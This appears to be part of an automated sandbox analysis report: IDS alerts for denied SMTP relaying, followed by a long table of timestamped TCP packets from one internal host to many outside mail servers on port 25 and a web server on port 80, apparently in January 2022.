01/07/22-15:44:13.576481	TCP	567	POLICY SMTP relaying denied	25	50028	51.81.242.150	192.168.2.6
01/07/22-15:44:17.293045	TCP	567	POLICY SMTP relaying denied	25	50041	51.81.57.58	192.168.2.6
01/07/22-15:44:18.864206	TCP	567	POLICY SMTP relaying denied	25	50042	51.81.57.59	192.168.2.6
01/07/22-15:44:20.645827	TCP	567	POLICY SMTP relaying denied	25	50044	51.81.242.59	192.168.2.6
01/07/22-15:44:21.984804	TCP	567	POLICY SMTP relaying denied	25	50047	51.81.242.150	192.168.2.6
01/07/22-15:44:25.565896	TCP	567	POLICY SMTP relaying denied	25	50058	140.78.3.68	192.168.2.6
01/07/22-15:44:25.661526	TCP	567	POLICY SMTP relaying denied	25	50059	140.78.3.69	192.168.2.6
01/07/22-15:44:25.758744	TCP	567	POLICY SMTP relaying denied	25	50061	140.78.3.82	192.168.2.6
01/07/22-15:44:26.689096	TCP	567	POLICY SMTP relaying denied	25	50063	140.78.3.83	192.168.2.6
01/07/22-15:44:29.590720	TCP	567	POLICY SMTP relaying denied	25	50071	140.78.3.68	192.168.2.6
01/07/22-15:44:29.716599	TCP	567	POLICY SMTP relaying denied	25	50072	140.78.3.69	192.168.2.6
01/07/22-15:44:29.874752	TCP	567	POLICY SMTP relaying denied	25	50074	140.78.3.82	192.168.2.6
01/07/22-15:44:30.060498	TCP	567	POLICY SMTP relaying denied	25	50076	140.78.3.83	192.168.2.6

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 7, 2022 15:42:40.076550007 CET	49734	25	192.168.2.6	67.195.204.79
Jan 7, 2022 15:42:40.172823906 CET	49735	80	192.168.2.6	193.166.255.171
Jan 7, 2022 15:42:40.190783978 CET	25	49734	67.195.204.79	192.168.2.6
Jan 7, 2022 15:42:40.190907001 CET	49734	25	192.168.2.6	67.195.204.79
Jan 7, 2022 15:42:40.192174911 CET	49734	25	192.168.2.6	67.195.204.79
Jan 7, 2022 15:42:40.306220055 CET	25	49734	67.195.204.79	192.168.2.6
Jan 7, 2022 15:42:40.327112913 CET	49736	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:40.330198050 CET	25	49734	67.195.204.79	192.168.2.6
Jan 7, 2022 15:42:40.330286980 CET	49734	25	192.168.2.6	67.195.204.79
Jan 7, 2022 15:42:40.330374956 CET	25	49734	67.195.204.79	192.168.2.6
Jan 7, 2022 15:42:40.330468893 CET	49734	25	192.168.2.6	67.195.204.79
Jan 7, 2022 15:42:40.353965998 CET	25	49736	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:40.354084969 CET	49736	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:40.354243994 CET	49736	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:40.382168055 CET	25	49736	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:40.384726048 CET	25	49736	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:40.384831905 CET	49736	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:40.397280931 CET	49737	25	192.168.2.6	104.47.57.33
Jan 7, 2022 15:42:40.524626970 CET	25	49737	104.47.57.33	192.168.2.6
Jan 7, 2022 15:42:40.524805069 CET	49737	25	192.168.2.6	104.47.57.33
Jan 7, 2022 15:42:40.541831970 CET	49737	25	192.168.2.6	104.47.57.33
Jan 7, 2022 15:42:40.626121998 CET	49738	80	192.168.2.6	193.166.255.171
Jan 7, 2022 15:42:40.653408051 CET	25	49737	104.47.57.33	192.168.2.6
Jan 7, 2022 15:42:40.653526068 CET	49737	25	192.168.2.6	104.47.57.33
Jan 7, 2022 15:42:40.669473886 CET	25	49737	104.47.57.33	192.168.2.6
Jan 7, 2022 15:42:40.669558048 CET	49737	25	192.168.2.6	104.47.57.33
Jan 7, 2022 15:42:40.669611931 CET	25	49737	104.47.57.33	192.168.2.6
Jan 7, 2022 15:42:40.669662952 CET	49737	25	192.168.2.6	104.47.57.33
Jan 7, 2022 15:42:43.183491945 CET	49735	80	192.168.2.6	193.166.255.171
Jan 7, 2022 15:42:43.636672974 CET	49738	80	192.168.2.6	193.166.255.171
Jan 7, 2022 15:42:43.791847944 CET	49739	25	192.168.2.6	67.195.204.79
Jan 7, 2022 15:42:43.903991938 CET	25	49739	67.195.204.79	192.168.2.6
Jan 7, 2022 15:42:43.904162884 CET	49739	25	192.168.2.6	67.195.204.79
Jan 7, 2022 15:42:43.972044945 CET	49740	25	192.168.2.6	104.47.57.33
Jan 7, 2022 15:42:44.016570091 CET	25	49739	67.195.204.79	192.168.2.6
Jan 7, 2022 15:42:44.016705990 CET	49739	25	192.168.2.6	67.195.204.79
Jan 7, 2022 15:42:44.100653887 CET	25	49740	104.47.57.33	192.168.2.6
Jan 7, 2022 15:42:44.100811958 CET	49740	25	192.168.2.6	104.47.57.33
Jan 7, 2022 15:42:44.128827095 CET	25	49739	67.195.204.79	192.168.2.6
Jan 7, 2022 15:42:44.128859997 CET	25	49739	67.195.204.79	192.168.2.6
Jan 7, 2022 15:42:44.132061958 CET	49739	25	192.168.2.6	67.195.204.79
Jan 7, 2022 15:42:44.220062017 CET	49741	25	192.168.2.6	77.88.21.249
Jan 7, 2022 15:42:44.230494976 CET	25	49740	104.47.57.33	192.168.2.6
Jan 7, 2022 15:42:44.231031895 CET	49740	25	192.168.2.6	104.47.57.33
Jan 7, 2022 15:42:44.244676113 CET	25	49739	67.195.204.79	192.168.2.6
Jan 7, 2022 15:42:44.244735956 CET	25	49739	67.195.204.79	192.168.2.6
Jan 7, 2022 15:42:44.244812012 CET	49739	25	192.168.2.6	67.195.204.79
Jan 7, 2022 15:42:44.245009899 CET	49739	25	192.168.2.6	67.195.204.79
Jan 7, 2022 15:42:44.245028019 CET	49739	25	192.168.2.6	67.195.204.79
Jan 7, 2022 15:42:44.245347977 CET	49742	25	192.168.2.6	67.195.228.106
Jan 7, 2022 15:42:44.277296066 CET	25	49741	77.88.21.249	192.168.2.6
Jan 7, 2022 15:42:44.277455091 CET	49741	25	192.168.2.6	77.88.21.249
Jan 7, 2022 15:42:44.343815088 CET	25	49741	77.88.21.249	192.168.2.6
Jan 7, 2022 15:42:44.344037056 CET	49741	25	192.168.2.6	77.88.21.249
Jan 7, 2022 15:42:44.357129097 CET	25	49739	67.195.204.79	192.168.2.6
Jan 7, 2022 15:42:44.357167006 CET	25	49739	67.195.204.79	192.168.2.6
Jan 7, 2022 15:42:44.359780073 CET	25	49740	104.47.57.33	192.168.2.6
Jan 7, 2022 15:42:44.359847069 CET	25	49740	104.47.57.33	192.168.2.6
Jan 7, 2022 15:42:44.360035896 CET	49740	25	192.168.2.6	104.47.57.33
Jan 7, 2022 15:42:44.401154041 CET	25	49741	77.88.21.249	192.168.2.6
Jan 7, 2022 15:42:44.401197910 CET	25	49741	77.88.21.249	192.168.2.6
Jan 7, 2022 15:42:44.401381016 CET	49741	25	192.168.2.6	77.88.21.249
Jan 7, 2022 15:42:44.405545950 CET	25	49742	67.195.228.106	192.168.2.6
Jan 7, 2022 15:42:44.406898975 CET	49742	25	192.168.2.6	67.195.228.106
Jan 7, 2022 15:42:44.460284948 CET	25	49741	77.88.21.249	192.168.2.6
Jan 7, 2022 15:42:44.460491896 CET	49741	25	192.168.2.6	77.88.21.249
Jan 7, 2022 15:42:44.488547087 CET	25	49740	104.47.57.33	192.168.2.6
Jan 7, 2022 15:42:44.489449978 CET	25	49740	104.47.57.33	192.168.2.6
Jan 7, 2022 15:42:44.489573956 CET	49740	25	192.168.2.6	104.47.57.33
Jan 7, 2022 15:42:44.489608049 CET	49740	25	192.168.2.6	104.47.57.33
Jan 7, 2022 15:42:44.489696026 CET	25	49740	104.47.57.33	192.168.2.6
Jan 7, 2022 15:42:44.489775896 CET	49740	25	192.168.2.6	104.47.57.33
Jan 7, 2022 15:42:44.529186010 CET	25	49741	77.88.21.249	192.168.2.6
Jan 7, 2022 15:42:44.530113935 CET	49741	25	192.168.2.6	77.88.21.249
Jan 7, 2022 15:42:44.530148983 CET	49741	25	192.168.2.6	77.88.21.249
Jan 7, 2022 15:42:44.588567019 CET	25	49741	77.88.21.249	192.168.2.6
Jan 7, 2022 15:42:44.588584900 CET	25	49741	77.88.21.249	192.168.2.6
Jan 7, 2022 15:42:44.588728905 CET	49741	25	192.168.2.6	77.88.21.249
Jan 7, 2022 15:42:44.588787079 CET	49741	25	192.168.2.6	77.88.21.249
Jan 7, 2022 15:42:44.618135929 CET	25	49740	104.47.57.33	192.168.2.6
Jan 7, 2022 15:42:44.618154049 CET	25	49740	104.47.57.33	192.168.2.6
Jan 7, 2022 15:42:44.618165970 CET	25	49740	104.47.57.33	192.168.2.6
Jan 7, 2022 15:42:44.623019934 CET	25	49742	67.195.228.106	192.168.2.6
Jan 7, 2022 15:42:44.623136044 CET	49742	25	192.168.2.6	67.195.228.106
Jan 7, 2022 15:42:44.783371925 CET	25	49742	67.195.228.106	192.168.2.6
Jan 7, 2022 15:42:44.783406019 CET	25	49742	67.195.228.106	192.168.2.6
Jan 7, 2022 15:42:44.783510923 CET	49742	25	192.168.2.6	67.195.228.106
Jan 7, 2022 15:42:44.944798946 CET	25	49742	67.195.228.106	192.168.2.6
Jan 7, 2022 15:42:44.944822073 CET	25	49742	67.195.228.106	192.168.2.6
Jan 7, 2022 15:42:44.945029020 CET	49742	25	192.168.2.6	67.195.228.106
Jan 7, 2022 15:42:44.945075035 CET	49742	25	192.168.2.6	67.195.228.106
Jan 7, 2022 15:42:44.945084095 CET	49742	25	192.168.2.6	67.195.228.106
Jan 7, 2022 15:42:44.947740078 CET	49743	25	192.168.2.6	67.195.228.111
Jan 7, 2022 15:42:45.105379105 CET	25	49742	67.195.228.106	192.168.2.6
Jan 7, 2022 15:42:45.105401039 CET	25	49742	67.195.228.106	192.168.2.6
Jan 7, 2022 15:42:45.117017984 CET	25	49743	67.195.228.111	192.168.2.6
Jan 7, 2022 15:42:45.117274046 CET	49743	25	192.168.2.6	67.195.228.111
Jan 7, 2022 15:42:45.312387943 CET	49744	25	192.168.2.6	77.88.21.249
Jan 7, 2022 15:42:45.342535019 CET	25	49743	67.195.228.111	192.168.2.6
Jan 7, 2022 15:42:45.343112946 CET	49743	25	192.168.2.6	67.195.228.111
Jan 7, 2022 15:42:45.368510008 CET	25	49744	77.88.21.249	192.168.2.6
Jan 7, 2022 15:42:45.368654966 CET	49744	25	192.168.2.6	77.88.21.249
Jan 7, 2022 15:42:45.511542082 CET	25	49743	67.195.228.111	192.168.2.6
Jan 7, 2022 15:42:45.511567116 CET	25	49743	67.195.228.111	192.168.2.6
Jan 7, 2022 15:42:45.511702061 CET	49743	25	192.168.2.6	67.195.228.111
Jan 7, 2022 15:42:45.665934086 CET	25	49744	77.88.21.249	192.168.2.6
Jan 7, 2022 15:42:45.666176081 CET	49744	25	192.168.2.6	77.88.21.249
Jan 7, 2022 15:42:45.680557966 CET	25	49743	67.195.228.111	192.168.2.6
Jan 7, 2022 15:42:45.680594921 CET	25	49743	67.195.228.111	192.168.2.6
Jan 7, 2022 15:42:45.680716038 CET	49743	25	192.168.2.6	67.195.228.111
Jan 7, 2022 15:42:45.680740118 CET	49743	25	192.168.2.6	67.195.228.111
Jan 7, 2022 15:42:45.680742979 CET	49743	25	192.168.2.6	67.195.228.111
Jan 7, 2022 15:42:45.722501993 CET	25	49744	77.88.21.249	192.168.2.6
Jan 7, 2022 15:42:45.722557068 CET	25	49744	77.88.21.249	192.168.2.6
Jan 7, 2022 15:42:45.722692013 CET	49744	25	192.168.2.6	77.88.21.249
Jan 7, 2022 15:42:45.722726107 CET	49744	25	192.168.2.6	77.88.21.249
Jan 7, 2022 15:42:45.779901981 CET	25	49744	77.88.21.249	192.168.2.6
Jan 7, 2022 15:42:45.780039072 CET	49744	25	192.168.2.6	77.88.21.249
Jan 7, 2022 15:42:45.842571020 CET	25	49744	77.88.21.249	192.168.2.6
Jan 7, 2022 15:42:45.842731953 CET	49744	25	192.168.2.6	77.88.21.249
Jan 7, 2022 15:42:45.846071959 CET	49744	25	192.168.2.6	77.88.21.249
Jan 7, 2022 15:42:45.849139929 CET	25	49743	67.195.228.111	192.168.2.6
Jan 7, 2022 15:42:45.849164009 CET	25	49743	67.195.228.111	192.168.2.6
Jan 7, 2022 15:42:45.898819923 CET	25	49744	77.88.21.249	192.168.2.6
Jan 7, 2022 15:42:45.898839951 CET	25	49744	77.88.21.249	192.168.2.6
Jan 7, 2022 15:42:45.898893118 CET	49744	25	192.168.2.6	77.88.21.249
Jan 7, 2022 15:42:45.898933887 CET	49744	25	192.168.2.6	77.88.21.249
Jan 7, 2022 15:42:45.902195930 CET	25	49744	77.88.21.249	192.168.2.6
Jan 7, 2022 15:42:45.902280092 CET	49744	25	192.168.2.6	77.88.21.249
Jan 7, 2022 15:42:46.529520988 CET	49747	25	192.168.2.6	74.208.5.20
Jan 7, 2022 15:42:46.675343990 CET	25	49747	74.208.5.20	192.168.2.6
Jan 7, 2022 15:42:46.675465107 CET	49747	25	192.168.2.6	74.208.5.20
Jan 7, 2022 15:42:46.822977066 CET	25	49747	74.208.5.20	192.168.2.6
Jan 7, 2022 15:42:46.823066950 CET	25	49747	74.208.5.20	192.168.2.6
Jan 7, 2022 15:42:46.823122978 CET	49747	25	192.168.2.6	74.208.5.20
Jan 7, 2022 15:42:46.823170900 CET	49747	25	192.168.2.6	74.208.5.20
Jan 7, 2022 15:42:46.823612928 CET	49748	25	192.168.2.6	74.208.5.22
Jan 7, 2022 15:42:46.957125902 CET	25	49748	74.208.5.22	192.168.2.6
Jan 7, 2022 15:42:46.957283974 CET	49748	25	192.168.2.6	74.208.5.22
Jan 7, 2022 15:42:46.968982935 CET	25	49747	74.208.5.20	192.168.2.6
Jan 7, 2022 15:42:47.094856024 CET	25	49748	74.208.5.22	192.168.2.6
Jan 7, 2022 15:42:47.094885111 CET	25	49748	74.208.5.22	192.168.2.6
Jan 7, 2022 15:42:47.095043898 CET	49748	25	192.168.2.6	74.208.5.22
Jan 7, 2022 15:42:47.095105886 CET	49748	25	192.168.2.6	74.208.5.22
Jan 7, 2022 15:42:47.228435993 CET	25	49748	74.208.5.22	192.168.2.6
Jan 7, 2022 15:42:49.184045076 CET	49735	80	192.168.2.6	193.166.255.171
Jan 7, 2022 15:42:49.652792931 CET	49738	80	192.168.2.6	193.166.255.171
Jan 7, 2022 15:42:50.378350973 CET	49749	25	192.168.2.6	213.186.119.6
Jan 7, 2022 15:42:50.438479900 CET	25	49749	213.186.119.6	192.168.2.6
Jan 7, 2022 15:42:50.438678980 CET	49749	25	192.168.2.6	213.186.119.6
Jan 7, 2022 15:42:50.645845890 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:50.672575951 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:50.672746897 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:50.709467888 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:50.709640026 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:50.736179113 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:50.742666960 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:50.742839098 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:50.772324085 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:50.772505045 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:50.804668903 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:50.927751064 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:50.927906990 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:50.954797983 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:50.957998037 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:50.959949017 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:50.960532904 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:50.987040043 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:50.987114906 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:50.987169027 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:50.987206936 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:50.987251043 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:50.987287045 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:50.987325907 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:50.987369061 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:50.992665052 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:50.992763042 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.013731003 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.013775110 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.013825893 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.013870001 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.013941050 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.013988972 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.014018059 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.014036894 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.014049053 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.014122009 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.014199018 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.014240980 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.014280081 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.014305115 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.014343977 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.014368057 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.014406919 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.014436007 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.014475107 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.014496088 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.014544010 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.014560938 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.014605999 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.014622927 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.014662027 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.014686108 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.014731884 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.014750004 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.014787912 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.014806986 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.014856100 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.014874935 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.014914989 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.014939070 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.014990091 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.019212961 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.019263029 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.019309998 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.019351959 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.042248964 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.042332888 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.042417049 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.042468071 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.042495966 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.042538881 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.042577982 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.042619944 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.042656898 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.042716026 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.042759895 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.042798042 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.042824030 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.042865992 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.042886972 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.042944908 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.042985916 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.043059111 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.043114901 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.043153048 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.043178082 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.043222904 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.043236017 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.043282986 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.043299913 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.043340921 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.043365002 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.043402910 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.043427944 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.043472052 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.043509960 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.043585062 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.043622017 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.043648005 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.043688059 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.043711901 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.043746948 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.043775082 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.043822050 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.043838978 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.043875933 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.043898106 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.043942928 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.043960094 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.043998003 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.044023037 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.044070005 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.044086933 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.044126034 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.044150114 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.044188023 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.044212103 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.044251919 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.044275045 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.044312000 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.044339895 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.044372082 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.044397116 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.044433117 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.044460058 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.044497967 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.044528008 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.044558048 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.044579029 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.044624090 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.044641018 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.044687033 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.044703960 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.044744015 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.044764042 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.044815063 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.046335936 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.046374083 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.046411991 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.046437979 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.046471119 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.046519995 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.046546936 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.046616077 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.071314096 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.071388006 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.071428061 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.071475029 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.071505070 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.071516991 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.071588993 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.071629047 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.071671963 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.071696043 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.071749926 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.071813107 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.071841002 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.071899891 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.071954966 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.072015047 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.072031975 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.072074890 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.072128057 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.072154999 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.072192907 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.072247028 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.072293043 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.072349072 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.072376013 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.072413921 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.072438002 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.072473049 CET	49750	25	192.168.2.6	108.177.119.26
